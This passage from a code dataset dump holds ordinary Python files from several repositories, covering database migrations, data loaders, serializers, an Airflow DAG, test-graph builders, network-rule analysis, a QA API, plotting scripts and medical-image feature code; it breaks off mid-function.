Alembic.\nrevision = 'e8cd19d36e98'\ndown_revision = '9d7cc64c2003'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('diagnostics',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_diagnostics_id'), 'diagnostics', ['id'], unique=False)\n op.create_table('tests',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('diag_id', sa.Integer(), nullable=True),\n sa.Column('category', sa.String(length=300), nullable=True),\n sa.Column('method', sa.String(length=300), nullable=True),\n sa.Column('specimen', sa.String(length=300), nullable=True),\n sa.Column('specimen_vol', sa.String(length=300), nullable=True),\n sa.Column('run_days', sa.String(length=300), nullable=True),\n sa.Column('tat', sa.String(length=300), nullable=True),\n sa.Column('instructions', sa.String(length=300), nullable=True),\n sa.Column('mrp', sa.Float(), nullable=True),\n sa.ForeignKeyConstraint(['diag_id'], ['diagnostics.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_tests_id'), 'tests', ['id'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_tests_id'), table_name='tests')\n op.drop_table('tests')\n op.drop_index(op.f('ix_diagnostics_id'), table_name='diagnostics')\n op.drop_table('diagnostics')\n # ### end Alembic commands ###\n","repo_name":"SwastikGorai/Fast_crap","sub_path":"alembic/versions/e8cd19d36e98_create_inital_tablesss.py","file_name":"e8cd19d36e98_create_inital_tablesss.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5280287723","text":"\"\"\"\n COMP90024 - Group 34 - Semester 1 2022:\n - Juny Kesumadewi (197751); Melbourne, Australia\n - Georgia Lewis (982172); Melbourne, Australia\n - Vilberto Noerjanto (553926); Melbourne, Australia\n - Matilda O’Connell (910394); Melbourne, Australia\n - Rizky Totong (1139981); Melbourne, Australia\n\"\"\"\n\nimport json\nimport sys\nimport argparse\nimport os\nsys.path.append(\"..\")\n\nfrom db_utils import DbUtils\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--db\", help=\"DB name for census year (example: census_\", required=True)\n parser.add_argument(\"--file\", help=\"File path to the census json file\", dest=\"census_file_path\", required=True)\n parser.add_argument(\"--type\", help=\"Census data type identifier\", dest=\"census_data_type\", required=True)\n parser.add_argument(\"--code\", help=\"Census data code identifier\", dest=\"census_data_code\", required=True)\n parser.add_argument(\"--year\", help=\"Census year\", dest=\"census_year\", default=2016, required=False)\n\n args = parser.parse_args()\n census_file_path = os.path.abspath(args.census_file_path)\n\n # dynamic db name to handle more census years\n db = DbUtils.connect(db_name=args.db)\n\n if not os.path.exists(census_file_path):\n print(f\"ERROR (Census): Census file {census_file_path} does not exist.\")\n exit()\n\n try:\n with open(census_file_path, \"r\") as f:\n rows = json.load(f).get(\"data\")\n\n for doc in rows:\n id = f\"{doc['lga_code_2016']}:{doc['variable']}\"\n doc[\"_id\"] = id\n doc[\"source\"] = {\n \"name\": args.census_data_type,\n \"census_code\": args.census_data_code,\n \"census_year\": args.census_year\n }\n db.save(doc)\n except Exception as e:\n print(f\"ERROR (Census): Exception caught when processing file: {e}\")\n exit()\n","repo_name":"rizkypascal/COMP90024_Assignment2_SM1_Group34","sub_path":"analysis/census/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17482208425","text":"from datetime import date, datetime\n\nfrom rest_framework import serializers\n\nfrom mkt.api.fields import (ESTranslationSerializerField,\n TranslationSerializerField)\n\n\ndef es_to_datetime(value):\n \"\"\"\n Returns a datetime given an Elasticsearch date/datetime field.\n \"\"\"\n if not value or isinstance(value, (date, datetime)):\n return\n\n if len(value) == 26:\n try:\n return datetime.strptime(value, '%Y-%m-%dT%H:%M:%S.%f')\n except (TypeError, ValueError):\n pass\n elif len(value) == 19:\n try:\n return datetime.strptime(value, '%Y-%m-%dT%H:%M:%S')\n except (TypeError, ValueError):\n pass\n elif len(value) == 10:\n try:\n return datetime.strptime(value, '%Y-%m-%d')\n except (TypeError, ValueError):\n pass\n\n return value\n\n\nclass BaseESSerializer(serializers.ModelSerializer):\n \"\"\"\n A base deserializer that handles ElasticSearch data for a specific model.\n\n When deserializing, an unbound instance of the model (as defined by\n fake_object) is populated with the ES data in order to work well with\n the parent model serializer (e.g., AppSerializer).\n\n \"\"\"\n # In base classes add the field names we want converted to Python\n # date/datetime from the Elasticsearch date strings.\n datetime_fields = ()\n\n def __init__(self, *args, **kwargs):\n super(BaseESSerializer, self).__init__(*args, **kwargs)\n\n # Set all fields as read_only just in case.\n for field_name in self.fields:\n self.fields[field_name].read_only = True\n\n if getattr(self, 'context'):\n for field_name in self.fields:\n self.fields[field_name].context = self.context\n\n def get_fields(self):\n \"\"\"\n Return all fields as normal, with one exception: replace every instance\n of TranslationSerializerField with ESTranslationSerializerField.\n \"\"\"\n fields = super(BaseESSerializer, self).get_fields()\n for key, field in fields.items():\n if isinstance(field, TranslationSerializerField):\n fields[key] = ESTranslationSerializerField(source=field.source)\n return fields\n\n def to_representation(self, data):\n data = (data._source if hasattr(data, '_source') else\n data.get('_source', data))\n obj = self.fake_object(data)\n return super(BaseESSerializer, self).to_representation(obj)\n\n def fake_object(self, data):\n \"\"\"\n Create a fake instance from ES data which serializer fields will source\n from.\n \"\"\"\n raise NotImplementedError\n\n def _attach_fields(self, obj, data, field_names):\n \"\"\"Attach fields to fake instance.\"\"\"\n for field_name in field_names:\n value = data.get(field_name)\n if field_name in self.datetime_fields:\n value = self.to_datetime(value)\n setattr(obj, field_name, value)\n return obj\n\n def _attach_translations(self, obj, data, field_names):\n \"\"\"Deserialize ES translation fields.\"\"\"\n for field_name in field_names:\n ESTranslationSerializerField.attach_translations(\n obj, data, field_name)\n return obj\n\n def to_datetime(self, value):\n return es_to_datetime(value)\n\n\nclass DynamicSearchSerializer(serializers.Serializer):\n def __init__(self, *a, **kwargs):\n super(DynamicSearchSerializer, self).__init__(*a, **kwargs)\n serializer_classes = self.context.get('serializer_classes', {})\n self.serializers = {k: v(context=self.context)\n for k, v in serializer_classes.items()}\n\n def to_representation(self, obj):\n \"\"\"\n Dynamically serialize obj using serializers passed through the context,\n depending on the doc_type of the obj.\n \"\"\"\n if hasattr(obj, '_meta'):\n doc_type = obj._meta['doc_type']\n else:\n # For aggregated queries (mkt.games.ESGameAggregationPaginator).\n doc_type = obj['_type']\n\n serializer = self.serializers.get(doc_type)\n if serializer is None:\n return super(DynamicSearchSerializer, self).to_representation(obj)\n data = serializer.to_representation(obj)\n data['doc_type'] = doc_type\n return data\n","repo_name":"mozilla/zamboni","sub_path":"mkt/search/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"} +{"seq_id":"17299439154","text":"from airflow import DAG\nfrom datetime import datetime\nfrom airflow.providers.cncf.kubernetes.operators.kubernetes_pod import (\n KubernetesPodOperator)\nfrom airflow.configuration import conf\nfrom airflow.decorators import task\nfrom airflow.operators.bash_operator import BashOperator\nimport random\n\n# instantiate the DAG\nwith DAG(\n start_date=datetime(2022,6,1),\n catchup=False,\n schedule_interval='@daily',\n dag_id='Kubernetes_pod_example3',\n tags=['kubernetes']\n) as dag:\n\n\n write_xcom = KubernetesPodOperator(\n namespace='airflow',\n image='alpine',\n cmds=[\"sh\", \"-c\", \"mkdir -p /airflow/xcom/;echo '[1,2,3,4]' > /airflow/xcom/return.json\"],\n name=\"write-xcom\",\n do_xcom_push=True,\n is_delete_operator_pod=True,\n in_cluster=True,\n task_id=\"write-xcom\",\n get_logs=True,\n )\n \n read_xcom = KubernetesPodOperator(\n namespace='airflow',\n image='alpine',\n cmds=[\"sh\", \"-c\", \"echo \\\"{{ task_instance.xcom_pull('write-xcom')[0] }}\\\" && sleep 60\"],\n name=\"read-xcom\",\n do_xcom_push=True,\n is_delete_operator_pod=True,\n in_cluster=True,\n task_id=\"read-xcom\",\n get_logs=True,\n )\n \n\n write_xcom >> read_xcom","repo_name":"technoavengers/airflow-training","sub_path":"dags/kubernetes_pods/kubernetes_pods3.py","file_name":"kubernetes_pods3.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29034636697","text":"# coding: utf-8\n\nimport json\n\nimport vh\n\nfrom alice.acceptance.cli.marker_tests.lib import common\nfrom alice.acceptance.cli.marker_tests.lib import lazy_helpers\nfrom alice.acceptance.cli.marker_tests.lib import op\n\nfrom library.python import resource\n\n\ndef compare_and_assert(requests_vh_table, reference_requests, global_options):\n actual_requests = op.MR_TABLE_TO_JSON_OP(\n _inputs={\n 'table': requests_vh_table,\n },\n _options={\n 'yt-token': global_options.yt_token,\n 'output-columns': ['VinsResponse', 'RequestId', 'SetraceUrl', 'SessionId', 'SessionSequence']\n },\n )\n reference_requests_data = vh.data_from_str(\n json.dumps(reference_requests).encode('utf-8'),\n name='marker tests context data',\n data_type='json',\n )\n (_, _, _, fail_flag) = lazy_helpers.compare_results(reference_requests_data, actual_requests)\n lazy_helpers.assert_test_result(fail_flag)\n\n\ndef build_common_subgraph(data_dir, global_options, config, use_linked_resources):\n all_requests = []\n if use_linked_resources:\n for test_json_request in common.concat_json_files_from_resources(resource.iterkeys('/marker_tests/data')):\n all_requests.extend(common.compose_context_request(test_json_request))\n else:\n for test_json_request in common.concat_json_files(common.all_json_files(data_dir)):\n all_requests.extend(common.compose_context_request(test_json_request))\n\n json_out = vh.data_from_str(\n json.dumps(all_requests).encode('utf-8'),\n name='marker tests data',\n data_type='json',\n )\n cache_sync_out = op.SINGLE_OPTION_TO_JSON(\n _options={'input': vh.OptionExpr('{\"timestamp\": \"${global.cache_sync}\"}')}\n )['output']\n input_table = op.JSON_TO_MR_TABLE_OP(\n _inputs={\n 'json': json_out,\n },\n _options={\n 'yt-token': global_options.yt_token,\n 'mr-account': global_options.mr_account,\n 'mr-default-cluster': config.yt.proxy, # global_options.yt_proxy, https://paste.yandex-team.ru/899252\n 'mr-output-ttl': global_options.mr_output_ttl,\n },\n _dynamic_options=cache_sync_out,\n )['new_table']\n return (all_requests, input_table)\n\n\ndef build_graph_with_scraper(data_dir, global_options, config, use_linked_resources, scraper_mode):\n all_requests, input_table = build_common_subgraph(data_dir, global_options, config, use_linked_resources)\n downloaded_results = op.DEEP_DOWNLOADER_OP(\n _inputs={\n 'input': input_table,\n },\n _options={\n 'VinsUrl': global_options.vins_url,\n 'UniproxyUrl': global_options.uniproxy_url,\n 'uniproxy-fetcher-mode': 'auto',\n 'oauth': global_options.ya_plus_token,\n 'yt-token': global_options.yt_token,\n 'yql-token': global_options.yql_token,\n 'arcanum_token': global_options.arcanum_token,\n 'input_cluster': config.yt.proxy,\n 'mr-account': global_options.mr_account,\n 'mr-output-ttl': global_options.mr_output_ttl,\n 'mr-output-path': global_options.mr_output_path,\n 'yt-pool': global_options.yt_pool,\n 'cache_sync': global_options.cache_sync,\n 'AsrChunkSize': config.alice.asr_chunk_size,\n 'scraper-timeout': config.alice.scraper_timeout,\n 'ScraperOverYtPool': config.alice.scraper_pool,\n 'experiments': common.prepare_experiments(config.alice.experiments),\n 'Scraper-token': config.soy.token,\n 'Scraper-contour': {'test': '6', 'soy_test': '2'}.get(scraper_mode),\n },\n )\n uniproxy_out = downloaded_results['output']\n compare_and_assert(uniproxy_out, all_requests, global_options)\n\n\ndef build_graph(data_dir, global_options, config, use_linked_resources, scraper_mode):\n build_graph_with_scraper(data_dir, global_options, config, use_linked_resources, scraper_mode)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Voice Assistant tests/acceptance/cli/marker_tests/lib/deep_graph.py","file_name":"deep_graph.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34440164717","text":"import pathlib, logging\nimport pandas as pd\n\nfrom data_eval.base import get_product_pattern, getThreshes, getRulesByPattern, getRuleDevCov, getRulesByOccurrence\nfrom util.general import log, setup_logger\nimport constants\n\ndef geo_to_parquet(flows, devs, loc, output_dir):\n geo_devs = devs[devs.tz_geo == loc]\n geo_flows = flows[flows.tz_geo == loc]\n\n pathlib.Path(output_dir).mkdir(parents=True, exist_ok=True)\n geo_flows.to_parquet(f\"{output_dir}/{loc}_flows.parquet\")\n geo_devs.to_parquet(f\"{output_dir}/{loc}_devs.parquet\")\n\ndef get_qualified_vps(geo_data):\n '''\n Find all the products that exist in all regions\n '''\n a_vps = set(geo_data[\"a\"][\"devs\"].vendor_product.unique())\n eaa_vps = set(geo_data[\"eaa\"][\"devs\"].vendor_product.unique())\n ara_vps = set(geo_data[\"ara\"][\"devs\"].vendor_product.unique())\n return list(a_vps.intersection(eaa_vps, ara_vps))\n\ndef compare_geo(geo_data, store, features, vps=None, logger=None):\n if vps is None:\n vps = get_qualified_vps(geo_data)\n total_vp = len(vps)\n locs = ['a', 'eaa', 'ara']\n MIN_DEV = 10\n count = 1\n\n for vp in vps:\n vendor, product = vp.split(':')\n log(f'{vp} ({count}/{total_vp})', level=logging.INFO, logger=logger)\n\n sample_size = None\n for loc in locs:\n devs = geo_data[loc]['devs']\n if sample_size is None:\n sample_size = len(devs[devs.vendor_product.values == vp].index)\n else:\n sample_size = min(sample_size, len(devs[devs.vendor_product.values == vp].index))\n\n if sample_size < MIN_DEV:\n count += 1\n continue\n \n # minus 1 to avoid sample size == data size\n # sample_size -= 1\n train_size = MIN_DEV - 1\n\n pat_dict = get_product_pattern(vp)\n\n for i in range(len(locs)):\n # generate rules from a sample\n devs_i, flows_i = geo_data[locs[i]]['devs'], geo_data[locs[i]]['flows']\n\n for j in range(len(locs)):\n log(f'...FROM {locs[i]} TO {locs[j]}', level=logging.INFO, logger=logger)\n devs_j, flows_j = geo_data[locs[j]]['devs'], geo_data[locs[j]]['flows']\n \n vp_devs_i = devs_i[devs_i.vendor_product.values == vp]\n vp_devs_j = devs_j[devs_j.vendor_product.values == vp]\n \n vp_flows_i = flows_i[flows_i.vendor_product.values == vp]\n vp_flows_j = flows_j[flows_j.vendor_product.values == vp]\n\n occ_thresh = getThreshes(train_size)\n\n median_data={\"by\":[], \"thresh\":[], \"device_num\":[], \"from\": [], \"to\": [], \"trans\":[], \"round\": [], \"train_flow_size\": []}\n for k in range(30):\n log(f\"......ROUND {k}\", level=logging.INFO, logger=logger)\n sample_devs_i = vp_devs_i.sample(n=train_size)\n sample_devs_j = vp_devs_j[~vp_devs_j.device_id.isin(sample_devs_i.device_id.unique())]\n\n sample_flows_i = vp_flows_i[vp_flows_i.device_id.isin(sample_devs_i.device_id.unique())]\n sample_flows_j = vp_flows_j[vp_flows_j.device_id.isin(sample_devs_j.device_id.unique())]\n\n for by in features:\n log(f\".........by {by}\", level=logging.INFO, logger=logger)\n use_patterns = by == \"hostname_pattern\"\n\n for occ in occ_thresh:\n if use_patterns:\n rules = getRulesByPattern(sample_flows_i, pat_dict, hostname_thresh=occ)\n stats = getRuleDevCov(rules, sample_flows_j, by=by, include_dns=True, logger=logger)\n else:\n rules = getRulesByOccurrence(sample_flows_i, by, occ)\n stats = getRuleDevCov(rules, sample_flows_j, by=by, include_dns=True, logger=logger)\n store.put('{}/{}/from_{}/to_{}/{}/occ_{}/round_{}/trans_stats'.format(vendor, product, locs[i], locs[j], by, occ, k), stats)\n\n median_data[\"by\"].append(by)\n median_data[\"thresh\"].append(occ)\n median_data[\"device_num\"].append(train_size)\n median_data[\"from\"].append(locs[i])\n median_data[\"to\"].append(locs[j])\n median_data[\"trans\"].append(stats.median())\n median_data[\"round\"].append(k)\n median_data[\"train_flow_size\"].append(len(sample_flows_i.index))\n \n median_df = pd.DataFrame(data=median_data)\n store.put('{}/{}/from_{}/to_{}/medians'.format(vendor, product, locs[i], locs[j]), median_df)\n\n count += 1\n\ndef prepare_geo_data(devs, flows):\n for loc in constants.TZ_DICT:\n print('Processing {}'.format(loc))\n geo_to_parquet(flows, devs, loc, constants.GEO_DATA_DIR)\n\ndef get_geo_stats(locs, features, vps):\n data_list = []\n with pd.HDFStore(constants.GEO_STORE_FP) as store:\n for locs_from in locs:\n for locs_to in locs:\n for f in features:\n for vp in vps:\n vendor, product = vp.split(':')\n median_data = store.get('{}/{}/from_{}/to_{}/medians'.format(vendor, product, locs_from, locs_to))\n for k in range(30):\n data = store.get('{}/{}/from_{}/to_{}/{}/occ_{}/round_{}/trans_stats'.format(vendor, product, locs_from, locs_to, f, 1, k))\n data = data.to_frame()\n data = data.rename(columns={0: 'transferability'})\n data.loc[:, 'product'] = vp\n data.loc[:, 'train_region'] = locs_from\n data.loc[:, 'test_region'] = locs_to\n data.loc[:, 'is_same_region'] = locs_from == locs_to\n data.loc[:, 'feature'] = f\n data.loc[:, 'round'] = k\n train_flow_sizes = median_data[(median_data['by'] == f) & (median_data['round'] == k)].train_flow_size.unique()\n assert len(train_flow_sizes) == 1, train_flow_sizes\n data.loc[:, 'train_flow_size'] = train_flow_sizes[0]\n data = data.reset_index()\n data_list.append(data)\n \n all_data = pd.concat(data_list, ignore_index=True)\n output_path = constants.GEO_STATS_DIR\n for f in features:\n feature_data = all_data[all_data.feature == f]\n feature_data.to_csv(f'{output_path}/{f}.csv')\n\ndef prepare_geo_eval_data():\n RULE_GEN_BY = [\"remote_ip\", \"subnet_24\", \"network\", \"asn\", \"short_hostname\", \"short_domain\", \"hostname_pattern\"]\n logger = setup_logger(name=\"get_geo_eval_data_logger\", log_file=\"get_geo_eval_data.log\", level=logging.DEBUG)\n flows = pd.read_parquet(constants.FLOWS_FP)\n devs = pd.read_parquet(constants.DEVS_FP)\n\n prepare_geo_data(devs, flows)\n\n related_cols = list(set([f if f != \"hostname_pattern\" else \"short_hostname\" for f in RULE_GEN_BY]))\n related_cols.extend(['device_id','device_vendor', 'device_type', 'vendor_product'])\n\n related_cols.append('remote_port')\n\n geo_data = {\n 'a': {},\n 'eaa': {},\n 'ara': {}\n }\n\n for loc in geo_data.keys():\n log(f'Read {loc} data...', level=logging.INFO, logger=logger)\n geo_data[loc]['flows'] = pd.read_parquet(f\"{constants.GEO_DATA_DIR}/{loc}_flows.parquet\", columns=related_cols)\n geo_data[loc]['devs'] = pd.read_parquet(f\"{constants.GEO_DATA_DIR}/{loc}_devs.parquet\")\n\n with pd.HDFStore(constants.GEO_STORE_FP) as store:\n compare_geo(\n geo_data,\n store=store,\n features=RULE_GEN_BY,\n logger=logger\n )\n \n get_geo_stats(\n locs=geo_data.keys(),\n features=RULE_GEN_BY,\n vps=get_qualified_vps(geo_data)\n )\n\n ### The rest of the analysis is done through R. \n ### Please see geo.R\n\nif __name__ == \"__main__\":\n prepare_geo_eval_data()\n print(\"Done!\")","repo_name":"research0269/iot-firewalls-2023","sub_path":"eval_src/data_eval/geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":8338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42023212850","text":"from haystack.document_stores import InMemoryDocumentStore\nfrom haystack.utils import clean_wiki_text, convert_files_to_docs\nfrom haystack.nodes import TfidfRetriever\nfrom haystack.nodes import FARMReader\nfrom haystack.pipelines import ExtractiveQAPipeline\n\n\nfrom fastapi import FastAPI\nimport uvicorn\n\napp = FastAPI()\n\n\n\nclass pipe:\n def __init__(self):\n #Initiate the doc store\n document_store = InMemoryDocumentStore()\n\n #\n docs = convert_files_to_docs(dir_path=\"docs/\", clean_func=clean_wiki_text, split_paragraphs=True)\n\n document_store.write_documents(docs)\n\n #load the document store\n retriever = TfidfRetriever(document_store=document_store)\n\n reader = FARMReader(model_name_or_path=\"deepset/roberta-base-squad2\", use_gpu=False)\n self.pipe = ExtractiveQAPipeline(reader, retriever)\n\n def query(self, question, top_doc : int = 10, top_ans : int = 10):\n return self.pipe.run(query=question, params={\"Retriever\": {\"top_k\": top_doc}, \"Reader\": {\"top_k\": top_ans}})\n\n def filter_answer_by_score(self, prediction, threshold : float = 0.8):\n answers : list = list()\n for ans in dict(prediction)['answers']:\n if ans.to_dict()['score'] > float(threshold):\n answers.append(ans.to_dict())\n\n return answers\n \n def show_top_docs(self, prediction):\n docs = []\n for doc in dict(prediction)['documents']:\n doc = doc.to_dict()\n del doc['content']\n docs.append(doc)\n\n def fetch(self, question, top_doc : int = 10, top_ans : int = 10, threshold : float = 0.8):\n prediction = self.query(question, top_doc, top_ans)\n answers = self.filter_answer_by_score(prediction, threshold)\n docs = self.show_top_docs(prediction)\n return answers, docs\n\n#Initiate the Query Pipeline \nQueryPipeline = pipe()\n\n@app.get(\"/\")\ndef respond(question : str, top_doc : int = 10, top_ans : int = 10, threshold : float = 0.1):\n print(question)\n answers, docs = QueryPipeline.fetch(question, top_doc, top_ans, threshold)\n return {\"answers\":answers, \"docs\" :docs}\n\n","repo_name":"agent87/IhuguraChatBotUX","sub_path":"haystack_api/haystack_api.py","file_name":"haystack_api.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"14247526557","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\nimport datetime\n\ndata = pd.read_csv('trainf.csv')\ndata[\"transactionRevenue\"] = data[\"transactionRevenue\"].astype('float')\nbadcols = [x for x in data.columns if data[x].nunique(dropna=False)==1 ]\ndata.drop(badcols,axis=1,inplace=True)\n\ndf = data.groupby(\"fullVisitorId\")[\"transactionRevenue\"].sum().reset_index()\n\nplt.figure()\nplt.scatter(range(df.shape[0]), np.sort(np.log1p(df[\"transactionRevenue\"].values)))\nplt.xlabel('index')\nplt.ylabel('Revenue')\n\n\npbought = (data[\"transactionRevenue\"]>0).sum()\npi = pbought/data.shape[0]\nprint(\"Percent of instances where a product was purchased \",pi)\npcbought = (df[\"transactionRevenue\"]>0).sum()\npc = pcbought/df.shape[0]\nprint(\"Percent of customers who brought a product \",pc)\n\n#Look at correlation for quantitative variables\nrr= data.corr()\nsns.heatmap(rr)\n\n#Look into browsers\ndatab = data.groupby('browser')['transactionRevenue'].agg(['size', 'count', 'mean'])\ndatab = datab.sort_values(by=\"count\", ascending=False)\ndatab['size'] = datab['size']/data.shape[0]\n\nfigb , axb = plt.subplots(2,1)\naxb[0].set_title('Browser Types')\naxb[0].bar(datab.index.values[0:10],datab['size'].head(10))\naxb[0].set_xlabel('Browser')\naxb[0].set_ylabel('Percent')\n\naxb[1].bar(datab.index.values[0:10],datab['count'].head(10))\naxb[1].set_xlabel('Browser')\naxb[1].set_ylabel('Revenue')\n\n\n#Look into device types\ndatadt = data.groupby('deviceCategory')['transactionRevenue'].agg(['size', 'count', 'mean'])\ndatadt = datadt.sort_values(by=\"count\", ascending=False)\ndatadt['size'] = datadt['size']/data.shape[0]\n\nfigdt , axdt = plt.subplots(2,1)\naxdt[0].set_title('Device Types')\naxdt[0].bar(datadt.index.values,datadt['size'])\naxdt[0].set_xlabel('Device Type')\naxdt[0].set_ylabel('Percent')\n\naxdt[1].bar(datadt.index.values,datadt['count'])\naxdt[1].set_xlabel('Device Type')\naxdt[1].set_ylabel('Revenue')\n\n#Look into OS\ndataos = data.groupby('operatingSystem')['transactionRevenue'].agg(['size', 'count', 'mean'])\ndataos = dataos.sort_values(by=\"count\", ascending=False)\ndataos['size'] = dataos['size']/data.shape[0]\n\nfigos , axos = plt.subplots(2,1)\naxos[0].set_title('Operating Systems')\naxos[0].bar(dataos.index.values[0:10],dataos['size'].head(10))\naxos[0].set_xlabel('OS')\naxos[0].set_ylabel('Percent')\n\naxos[1].bar(dataos.index.values[0:10],dataos['count'].head(10))\naxos[1].set_xlabel('OS')\naxos[1].set_ylabel('Revenue')\n\n\n#Looking into date dependence\ndata['date'] = data['date'].apply(lambda x: datetime.date(int(str(x)[:4]), int(str(x)[4:6]), int(str(x)[6:])))\ndatedf = data.groupby('date')['transactionRevenue'].agg(['size','count'])\n\nfigd , axd = plt.subplots(2,1)\naxd[0].set_title('Visits by Date')\naxd[0].plot_date(datedf.index.values,datedf['size'],'-')\naxd[0].set_xlabel('Date')\naxd[0].set_ylabel('Visits')\n\naxd[1].set_title('Revenue by Date')\naxd[1].plot_date(datedf.index.values,datedf['count'],'-')\naxd[1].set_xlabel('Date')\naxd[1].set_ylabel('Revenue')\n\nplt.show()","repo_name":"asmith20/CustomerRevenue","sub_path":"datavis.py","file_name":"datavis.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21319748903","text":"import cv2 as cv\r\n\r\n#cv.VideoCapture(0) opens webcam, 1 first camera connected to pc, etc\r\ncapture = cv.VideoCapture(\"Videos/dog.mp4\")\r\n\r\n#while to loop to read video frame by frame\r\n#error -215:assertion failed -> opencv could not find media file at specified location, here video ends no more frames after last\r\n#alternatively anything that causes opencv to not be able to read image/frame\r\nwhile True:\r\n isTrue, frame = capture.read()\r\n cv.imshow(\"Video\", frame)\r\n\r\n #if letter d is pressed: stop video\r\n if cv.waitKey(20) & 0xFF==ord(\"d\"):\r\n break\r\n\r\ncapture.release()\r\ncv.destroyAllWindows()\r\n","repo_name":"StefanStahlCode/Tutorials","sub_path":"OpenCV/read_video.py","file_name":"read_video.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11788952549","text":"from graph import WeightedGraph, HeuristicGraph\nfrom short_path_finder import ShortPathFinder\nfrom spalgorithm import Dijkstra, Bellman_Ford, A_Star\n\n# Example usage:\nif __name__ == \"__main__\":\n graph = HeuristicGraph()\n # Populate the graph with nodes and edges\n\n path_finder = ShortPathFinder()\n path_finder.set_graph(graph)\n \n # Choose the algorithm\n algorithm = Dijkstra() # or Bellman_Ford(), A_Star()\n path_finder.set_algorithm(algorithm)\n \n # Calculate the shortest path\n source = 0 # starting node\n dest = 5 # ending node\n path_cost = path_finder.calc_short_path(source, dest)\n print(\"The cost of the shortest path is: {path_cost}\")","repo_name":"Mazen1004/3XB3Labs","sub_path":"Final Project/part4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74004484560","text":"import numpy as np\nimport scipy.stats\n\nimport PREDICT.helpers.sitk_helper as sitkh\n\n\ndef get_dti_features(image, mask, meta_data):\n i_mask_array = sitkh.GetArrayFromImage(mask)\n i_mask_array = i_mask_array.astype(np.bool)\n i_mask_array = i_mask_array.flatten()\n\n array_list = list()\n\n for i_dti in image:\n i_dti = sitkh.GetArrayFromImage(i_dti).flatten()\n i_dti = i_dti[i_mask_array]\n array_list.append(i_dti)\n\n i_image_array = np.vstack(array_list)\n\n # Adjust such that everything is positive, needed for log\n i_image_array = i_image_array + np.min(i_image_array) + 1\n\n b_values = meta_data['b_values']\n A = np.vstack([b_values, np.ones(len(b_values))]).T\n # Do least squares fit and get the slope, which is the ADC\n # This will give us the ADC in mm^2/s\n ADC_tumor_voxels = -np.linalg.lstsq(A, np.log(i_image_array))[0][0, :]\n\n ADC_mean = np.mean(ADC_tumor_voxels)\n ADC_std = np.std(ADC_tumor_voxels)\n ADC_min = np.min(ADC_tumor_voxels)\n ADC_max = np.max(ADC_tumor_voxels)\n\n dti_features = [ADC_mean, ADC_std, ADC_min, ADC_max]\n dti_labels = ['ADC_mean', 'ADC_std', 'ADC_min', 'ADC_max']\n\n return dti_features, dti_labels\n\n\ndef get_dti_post_features(image, mask, meta_data):\n i_mask_array = sitkh.GetArrayFromImage(mask)\n i_mask_array = i_mask_array.astype(np.bool)\n i_mask_array = i_mask_array.flatten()\n\n L1_image = sitkh.GetArrayFromImage(image[0]).flatten()\n L2_image = sitkh.GetArrayFromImage(image[1]).flatten()\n L3_image = sitkh.GetArrayFromImage(image[2]).flatten()\n\n L1_image = L1_image[i_mask_array]\n L2_image = L2_image[i_mask_array]\n L3_image = L3_image[i_mask_array]\n\n # A small fix because sometimes the eigenvalues are just below/around 0\n # And will give error in division.\n\n if np.amin(L1_image) <= 0:\n L1_image = L1_image + np.abs(np.amin(L1_image)) + 0.00001\n if np.amin(L2_image) <= 0:\n L2_image = L2_image + np.abs(np.amin(L2_image)) + 0.00001\n if np.amin(L3_image) <= 0:\n L3_image = L3_image + np.abs(np.amin(L3_image)) + 0.00001\n\n ADC_map = (L1_image + L2_image + L3_image)/3.0\n\n # ADC map is also mean diffusivity\n FA_numerator = 3.0*((L1_image - ADC_map)**2.0 + (L2_image - ADC_map)**2.0 + (L3_image - ADC_map)**2.0)\n FA_denominator = 2.0*(L1_image**2.0 + L2_image**2.0 + L3_image**2.0)\n FA_map = np.sqrt(FA_numerator/FA_denominator)\n\n # print(min(L2_image))\n # print(min(L3_image))\n\n # Also volume ratio\n VR_map = 1.0 - L1_image*L2_image*L3_image/ADC_map**3.0\n\n # Now get inside tumor\n\n # ADC_tumor = ADC_map[i_mask_array]\n # FA_tumor = FA_map[i_mask_array]\n # VR_tumor = VR_map[i_mask_array]\n\n ADC_min, ADC_max, ADC_mean, ADC_std, ADC_median, ADC_skew, ADC_kurtosis, ADC_range =\\\n 